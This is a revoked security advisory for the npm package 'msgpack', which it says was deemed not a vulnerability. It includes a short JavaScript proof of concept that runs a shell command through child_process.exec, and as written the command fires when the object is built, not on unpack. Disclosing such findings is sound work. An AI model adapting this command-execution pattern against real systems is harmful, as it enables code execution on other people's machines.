Deserialization of Untrusted Data The advisory has been revoked - it doesn't affect any version of package msgpack Open this link in a new tab

This was deemed not a vulnerability.

msgpack is an A space-efficient object serialization library for node.js

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the unpack function.

N.B: this affects the NPM package msgpack only, NOT the more popular package @msgpack/msgpack.

PoC by Adi Malyanker

var assert = require('assert');
var msgpack = require('msgpack');
function sleep(ms) {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
}
async function init() {
var normal = {"a" : 1, "b" : 2, "c" : [1, 2, 3]};
var malicious = msgpack.pack({exploit : function(){require('child_process').exec('echo code_executed!;sleep 3', function(error,stdout, stderr) { console.log(stdout) });}(),}); 
var rce = msgpack.unpack(malicious);
assert.deepEqual(rce, normal);
}

init();

• Vulnerable Code